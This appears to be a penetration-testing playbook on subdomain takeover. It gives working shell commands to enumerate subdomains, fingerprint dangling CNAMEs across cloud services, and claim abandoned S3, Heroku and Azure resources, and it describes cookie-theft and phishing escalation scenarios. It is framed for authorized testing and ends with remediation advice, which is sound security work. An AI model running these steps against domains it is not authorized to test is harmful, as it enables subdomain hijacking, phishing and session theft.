| name | exploiting-subdomain-takeover-vulnerabilities |
| description | Identifying and exploiting dangling DNS records pointing to unclaimed cloud services, enabling subdomain takeover for phishing, cookie stealing, and authentication bypass during authorized penetration tests. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","subdomain-takeover","dns","cloud-security","web-security","bug-bounty"] |
| version | 1.0 |
| author | xalgord |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","DE.CM-01"] |
Exploiting Subdomain Takeover Vulnerabilities
When to Use
- During authorized penetration tests when subdomain enumeration reveals CNAME or A records pointing to external services
- When cloud service endpoints return "not found" or "no such bucket" error pages
- For assessing organizations with large subdomain footprints (100+ subdomains)
- When evaluating DNS hygiene and decommissioned service cleanup
- During bug bounty programs where subdomain takeover is in scope
Prerequisites
- Authorization: Written penetration testing agreement covering subdomain takeover testing
- subjack: Subdomain takeover checker (
go install github.com/haccer/subjack@latest)
- nuclei: With takeover detection templates
- can-i-take-over-xyz: Reference database of takeover-vulnerable services
- subfinder/amass: For subdomain enumeration (prerequisite step)
- dig/host: For DNS record analysis
- Cloud accounts: AWS, Azure, GCP, Heroku, etc. for claiming unclaimed resources
Workflow
Step 1: Enumerate Subdomains and Collect DNS Records
Gather all subdomains and their DNS resolution data.
subfinder -d target.com -silent -o subdomains.txt
amass enum -passive -d target.com -o amass-subs.txt
cat subdomains.txt amass-subs.txt | sort -u > all-subs.txt
echo "=== CNAME Records ==="
while read sub; do
cname=$(dig +short CNAME "$sub" 2>/dev/null)
if [ -n "$cname" ]; then
echo "$sub -> $cname"
fi
done < all-subs.txt | tee cname-records.txt
echo "=== NXDOMAIN / Dead Subdomains ==="
while read sub; do
result=$(dig +short "$sub" 2>/dev/null)
if [ -z "$result" ]; then
cname=$(dig +short CNAME "$sub" 2>/dev/null)
echo "DEAD: $sub (CNAME: ${cname:-none})"
fi
done < all-subs.txt | tee dead-subs.txt
echo "=== HTTP Response Check ==="
httpx -l all-subs.txt -sc -title -server -o httpx-results.txt
grep -E "404|NoSuchBucket|There isn't a GitHub Pages|herokucdn" httpx-results.txt
Step 2: Identify Takeover-Vulnerable Services
Match CNAME targets against known vulnerable service fingerprints.
subjack -w all-subs.txt -t 50 -timeout 30 -ssl \
-c ~/go/pkg/mod/github.com/haccer/subjack@*/fingerprints.json \
-o subjack-results.txt -v
nuclei -l all-subs.txt -tags takeover -severity info,low,medium,high,critical \
-o nuclei-takeover.txt
while read line; do
sub=$(echo "$line" | cut -d' ' -f1)
cname=$(echo "$line" | cut -d' ' -f3)
echo -n "$sub ($cname): "
response=$(curl -sk -m 10 "https://$sub" 2>/dev/null)
echo "$response" | grep -qi "NoSuchBucket" && echo "VULNERABLE: S3 Bucket" && continue
echo "$response" | grep -qi "There isn't a GitHub Pages site here" && echo "VULNERABLE: GitHub Pages" && continue
echo "$response" | grep -qi "No such app\|herokucdn.com/error-pages" && echo "VULNERABLE: Heroku" && continue
echo "$response" | grep -qi "404 Web Site not found" && echo "POSSIBLE: Azure" && continue
echo "$response" | grep -qi "Sorry, this shop is currently unavailable" && echo "VULNERABLE: Shopify" && continue
echo "$response" | grep -qi "Fastly error: unknown domain" && echo "VULNERABLE: Fastly" && continue
echo "$response" | grep -qi "404 error unknown site" && echo "VULNERABLE: Pantheon" && continue
echo "$response" | grep -qi "There's nothing here\|tumblr.com" && echo "POSSIBLE: Tumblr" && continue
echo "$response" | grep -qi "The requested URL was not found on this server" && echo "POSSIBLE: Unbounce" && continue
echo "$response" | grep -qi "Do you want to register" && echo "VULNERABLE: WordPress.com" && continue
echo "$response" | grep -qi "project not found" && echo "VULNERABLE: Surge.sh" && continue
echo "$response" | grep -qi "404 Not Found.*fly" && echo "VULNERABLE: Fly.io" && continue
echo "$response" | grep -qi "Not Found - Request ID" && echo "POSSIBLE: Netlify" && continue
echo "$response" | grep -qi "Help Center Closed\|Zendesk" && echo "POSSIBLE: Zendesk" && continue
echo "NOT VULNERABLE or unknown service"
done < cname-records.txt
Step 3: Verify and Exploit Takeover (Service-Specific)
Claim the unclaimed resource on each vulnerable service.
aws s3 mb s3://targetbucket --region us-east-1
echo "<html><body><h1>Subdomain Takeover PoC - Authorized Test</h1>
<p>This subdomain (SUBDOMAIN) was taken over during an authorized penetration test.</p>
<p>Tester: YOUR_NAME | Date: $(date)</p></body></html>" > index.html
aws s3 cp index.html s3://targetbucket/index.html --acl public-read
aws s3 website s3://targetbucket --index-document index.html
curl -s "http://SUBDOMAIN.target.com"
heroku create appname
echo "<h1>Subdomain Takeover PoC</h1>" > index.html
git init && git add . && git commit -m "poc"
git push heroku main
az webapp create --resource-group myRG --plan myPlan --name appname
curl -sI "https://SUBDOMAIN.target.com" | head -10
curl -s "https://SUBDOMAIN.target.com" | grep "Takeover PoC"
Step 4: Assess Impact and Escalation Potential
Determine the real-world impact beyond just content control.
curl -sI "https://target.com" | grep -i "set-cookie"
curl -sI "https://www.target.com" | grep -i "set-cookie"
dig TXT target.com | grep -i "spf"
dig TXT _dmarc.target.com | grep -i "dmarc"
curl -sI -H "Origin: https://SUBDOMAIN.target.com" \
"https://api.target.com/data" | grep -i "access-control"
Step 5: Documentation and Cleanup
Document findings and clean up claimed resources.
dig CNAME SUBDOMAIN.target.com
curl -s "https://SUBDOMAIN.target.com"
Key Concepts
| Concept | Description |
|---|
| Dangling CNAME | DNS CNAME record pointing to an unclaimed or decommissioned cloud service |
| Subdomain Takeover | Claiming an unclaimed cloud resource that a subdomain's DNS points to |
| NXDOMAIN | DNS response indicating the target hostname does not exist |
| Cookie Scope | Cookies set for .domain.com are accessible to all subdomains |
| DNS Rebinding | Related technique — changing DNS resolution to bypass same-origin policy |
| Stale DNS | DNS records that remain after the underlying service is decommissioned |
| CNAME Chain | Multiple CNAME hops where any link in the chain could be vulnerable |
Tools & Systems
| Tool | Purpose |
|---|
| subjack | Automated subdomain takeover vulnerability checker |
| nuclei | Template-based takeover detection across 50+ services |
| can-i-take-over-xyz | Reference database of vulnerable services and fingerprints |
| dnsreaper | Subdomain takeover tool supporting multiple DNS providers |
| subzy | Fast subdomain takeover checker with fingerprint database |
| dnsx | Fast DNS resolution toolkit for bulk lookups |
| httpx | HTTP probing with response fingerprinting |
Common Scenarios
Scenario 1: Decommissioned S3 Bucket
Company migrated from S3 to CloudFront but forgot to remove the CNAME assets.target.com → target-assets.s3.amazonaws.com. The bucket was deleted. Attacker creates a new bucket with the same name and serves malicious content on assets.target.com.
Scenario 2: Expired Heroku App with Cookie Theft
staging.target.com pointed to a deleted Heroku app. After takeover, the attacker deploys a cookie-stealing page. Because the production app sets cookies for .target.com, visiting staging.target.com exfiltrates session tokens.
Scenario 3: GitHub Pages Takeover for Phishing
docs.target.com CNAMEs to targetorg.github.io. The GitHub org renamed, leaving the old name unclaimed. Attacker creates a repo matching the old name and deploys a convincing login page for phishing.
Output Format
## Subdomain Takeover Finding
**Vulnerability**: Subdomain Takeover via Dangling S3 CNAME
**Severity**: High (CVSS 8.1)
**Location**: assets.target.com
**DNS Record**: CNAME → target-assets.s3.amazonaws.com (NoSuchBucket)
### Reproduction Steps
1. dig CNAME assets.target.com → target-assets.s3.amazonaws.com
2. curl https://assets.target.com → "NoSuchBucket" error
3. Created S3 bucket: aws s3 mb s3://target-assets
4. Uploaded PoC: aws s3 cp index.html s3://target-assets/ --acl public-read
5. Verified: curl https://assets.target.com → PoC page served
### Impact
- Full content control of assets.target.com
- Cookie theft: parent domain sets cookies for .target.com (session hijacking)
- Credible phishing page on legitimate subdomain
- Potential CORS trust: api.target.com reflects assets.target.com as allowed origin
### Recommendation
1. Remove the dangling CNAME record from DNS immediately
2. Audit all DNS records for stale/unused entries monthly
3. Implement DNS monitoring for NXDOMAIN responses on owned subdomains
4. Use wildcard CNAME records cautiously — prefer explicit records
5. Set cookie scope as narrowly as possible (avoid .domain.com wildcards)